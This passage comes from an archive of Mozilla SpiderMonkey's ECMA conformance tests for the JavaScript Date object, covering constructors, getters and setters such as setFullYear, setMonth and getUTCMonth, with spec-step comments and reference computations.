this.ms = 0; } function utc( year, month, date, hours, minutes, seconds, ms ) { d = new MyDate(); d.year = Number(year); if (month) d.month = Number(month); if (date) d.date = Number(date); if (hours) d.hours = Number(hours); if (minutes) d.minutes = Number(minutes); if (seconds) d.seconds = Number(seconds); if (ms) d.ms = Number(ms); if ( isNaN(d.year) && 0 <= ToInteger(d.year) && d.year <= 99 ) { d.year = 1900 + ToInteger(d.year); } if (isNaN(month) || isNaN(year) || isNaN(date) || isNaN(hours) || isNaN(minutes) || isNaN(seconds) || isNaN(ms) ) { d.year = Number.NaN; d.month = Number.NaN; d.date = Number.NaN; d.hours = Number.NaN; d.minutes = Number.NaN; d.seconds = Number.NaN; d.ms = Number.NaN; d.value = Number.NaN; d.time = Number.NaN; d.day =Number.NaN; return d; } d.day = MakeDay( d.year, d.month, d.date ); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = (TimeClip( MakeDate(d.day,d.time))); return d; } function UTCTime( t ) { sign = ( t < 0 ) ? -1 : 1; return ( (t +(TZ_DIFF*msPerHour)) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-1.js0000664000175000017500000001237512106270663020422 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // 1969 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1969);TDATE", UTCDateFromTime(SetFullYear(0,1969)), LocalDateFromTime(SetFullYear(0,1969)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1969,11);TDATE", UTCDateFromTime(SetFullYear(0,1969,11)), LocalDateFromTime(SetFullYear(0,1969,11)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1969,11,31);TDATE", UTCDateFromTime(SetFullYear(0,1969,11,31)), LocalDateFromTime(SetFullYear(0,1969,11,31)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-7.js0000664000175000017500000000214212106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.18.js0000664000175000017500000000257712106270663020267 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.18.js ECMA Section: 15.9.5.18 Description: Date.prototype.getSeconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return SecFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.18"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getSeconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getSeconds()", NaN, (new Date(NaN)).getSeconds() ); new TestCase( SECTION, "Date.prototype.getSeconds.length", 0, Date.prototype.getSeconds.length ); test(); function addTestCase( t ) { for ( m = 0; m <= 60; m+=10 ) { t += 1000; new TestCase( SECTION, "(new Date("+t+")).getSeconds()", SecFromTime(LocalTime(t)), (new Date(t)).getSeconds() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-4.js0000664000175000017500000000214112106270663020404 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11.js ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1900 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/browser.js0000664000175000017500000000000012106270663020737 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-5-of-8.js0000664000175000017500000000025212106270663023646 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(5, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.1-4.js0000664000175000017500000001166112106270663020330 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.9.3.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; writeHeaderToLog( SECTION + " "+ TITLE); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - // Dates around 1900 addNewTestCase( new Date(1899,11,31,16,0,0,0), "new Date(1899,11,31,16,0,0,0)", [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] ); addNewTestCase( new Date(1899,11,31,15,59,59,999), "new Date(1899,11,31,15,59,59,999)", [TIME_1900-1,1899,11,31,0,23,59,59,999,1899,11,31,0,15,59,59,999] ); addNewTestCase( new Date(1899,11,31,23,59,59,999), "new Date(1899,11,31,23,59,59,999)", [TIME_1900-PST_ADJUST-1,1900,0,1,1,7,59,59,999,1899,11,31,0,23,59,59,999] ); addNewTestCase( new Date(1900,0,1,0,0,0,0), "new Date(1900,0,1,0,0,0,0)", [TIME_1900-PST_ADJUST,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] ); addNewTestCase( new Date(1900,0,1,0,0,0,1), "new Date(1900,0,1,0,0,0,1)", [TIME_1900-PST_ADJUST+1,1900,0,1,1,8,0,0,1,1900,0,1,1,0,0,0,1] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-8.js0000664000175000017500000000177012106270663020421 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new Date(NaN)).getUTCDay()", NaN, (new Date(NaN)).getUTCDay() ); new TestCase( SECTION, "Date.prototype.getUTCDay.length", 0, Date.prototype.getUTCDay.length ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-7.js0000664000175000017500000000367712106270663020431 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000, UTC_FEB_29_2000, UTC_JAN_1_2005 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(TIME_2000), test_times[j] ); } new TestCase( SECTION, "(new Date(NaN)).setTime()", NaN, (new Date(NaN)).setTime() ); new TestCase( SECTION, "Date.prototype.setTime.length", 1, Date.prototype.setTime.length ); test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.34-1.js0000664000175000017500000001274112106270663020415 0ustar sstanglsstangl// |reftest| random /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.34-1.js ECMA Section: 15.9.5.34 Date.prototype.setMonth(mon [, date ] ) Description: If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value). 2. Call ToNumber(date). 3. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 4. Compute MakeDay(YearFromTime(t), Result(2), Result(3)). 5. Compute UTC(MakeDate(Result(4), TimeWithinDay(t))). 6. Set the [[Value]] property of the this value to TimeClip(Result(5)). 7. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.34-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMonth(mon [, date ] )"); getFunctionCases(); // regression test for http://scopus.mcom.com/bugsplat/show_bug.cgi?id=112404 d = new Date(0); d.setMonth(1,1,1,1,1,1); addNewTestCase( "TDATE = new Date(0); TDATE.setMonth(1,1,1,1,1,1); TDATE", UTCDateFromTime(SetMonth(0,1,1)), LocalDateFromTime(SetMonth(0,1,1)) ); // whatever today is addNewTestCase( "TDATE = new Date(TIME_NOW); (TDATE).setMonth(11,31); TDATE", UTCDateFromTime(SetMonth(TIME_NOW,11,31)), LocalDateFromTime(SetMonth(TIME_NOW,11,31)) ); // 1970 addNewTestCase( "TDATE = new Date(0);(TDATE).setMonth(0,1);TDATE", UTCDateFromTime(SetMonth(0,0,1)), LocalDateFromTime(SetMonth(0,0,1)) ); addNewTestCase( "TDATE = new Date("+TIME_1900+"); "+ "(TDATE).setMonth(11,31); TDATE", UTCDateFromTime( SetMonth(TIME_1900,11,31) ), LocalDateFromTime( SetMonth(TIME_1900,11,31) ) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function getFunctionCases() { // some tests for all functions new TestCase( SECTION, "Date.prototype.setMonth.length", 2, Date.prototype.setMonth.length ); new TestCase( SECTION, "typeof Date.prototype.setMonth", "function", typeof Date.prototype.setMonth ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetMonth( t, mon, date ) { var TIME = LocalTime(t); var MONTH = Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(TIME) : Number( date ); var DAY = MakeDay( YearFromTime(TIME), MONTH, DATE ); return ( TimeClip (UTC(MakeDate( DAY, TimeWithinDay(TIME) ))) ); } mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-3-of-8.js0000664000175000017500000000025212106270663023644 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(3, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.9.js0000664000175000017500000000414712106270663020202 0ustar sstanglsstangl// |reftest| skip-if(Android) -- bug 686143, skip temporarily to see what happens to the frequency and location of Android timeouts /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.9.js ECMA Section: 15.9.5.9 Description: Date.prototype.getUTCMonth 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return MonthFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.9"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMonth()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getUTCMonth()", NaN, (new Date(NaN)).getUTCMonth() ); new TestCase( SECTION, "Date.prototype.getUTCMonth.length", 0, Date.prototype.getUTCMonth.length ); test(); function addTestCase( t ) { var leap = InLeapYear(t); for ( var m = 0; m < 12; m++ ) { t += TimeInMonth(m, leap); new TestCase( SECTION, "(new Date("+t+")).getUTCMonth()", MonthFromTime(t), (new Date(t)).getUTCMonth() ); new TestCase( SECTION, "(new Date("+(t+1)+")).getUTCMonth()", MonthFromTime(t+1), (new Date(t+1)).getUTCMonth() ); new TestCase( SECTION, "(new Date("+(t-1)+")).getUTCMonth()", MonthFromTime(t-1), (new Date(t-1)).getUTCMonth() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+")).getUTCMonth()", MonthFromTime(t-TZ_ADJUST), (new Date(t-TZ_ADJUST)).getUTCMonth() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+")).getUTCMonth()", MonthFromTime(t+TZ_ADJUST), (new Date(t+TZ_ADJUST)).getUTCMonth() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.15.js0000664000175000017500000000257012106270663020255 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.15.js ECMA Section: 15.9.5.15 Description: Date.prototype.getUTCHours 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return HourFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.15"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCHours()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getUTCHours()", NaN, (new Date(NaN)).getUTCHours() ); new TestCase( SECTION, "Date.prototype.getUTCHours.length", 0, Date.prototype.getUTCHours.length ); test(); function addTestCase( t ) { for ( h = 0; h < 24; h+=3 ) { t += msPerHour; new TestCase( SECTION, "(new Date("+t+")).getUTCHours()", HourFromTime((t)), (new Date(t)).getUTCHours() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-5.js0000664000175000017500000000167312106270663020417 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_2000 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-1.js0000664000175000017500000000215012106270663020402 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.4.2.js0000664000175000017500000001224212106270663020165 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.4.2.js ECMA Section: 15.9.4.2 Date.parse() Description: The parse() function applies the to ToString() operator to its argument and interprets the resulting string as a date. It returns a number, the UTC time value corresponding to the date. The string may be interpreted as a local time, a UTC time, or a time in some other time zone, depending on the contents of the string. (need to test strings containing stuff with the time zone specified, and verify that parse() returns the correct GMT time) so for any Date object x, all of these things should be equal: value tested in function: x.valueOf() test_value() Date.parse(x.toString()) test_tostring() Date.parse(x.toGMTString()) test_togmt() 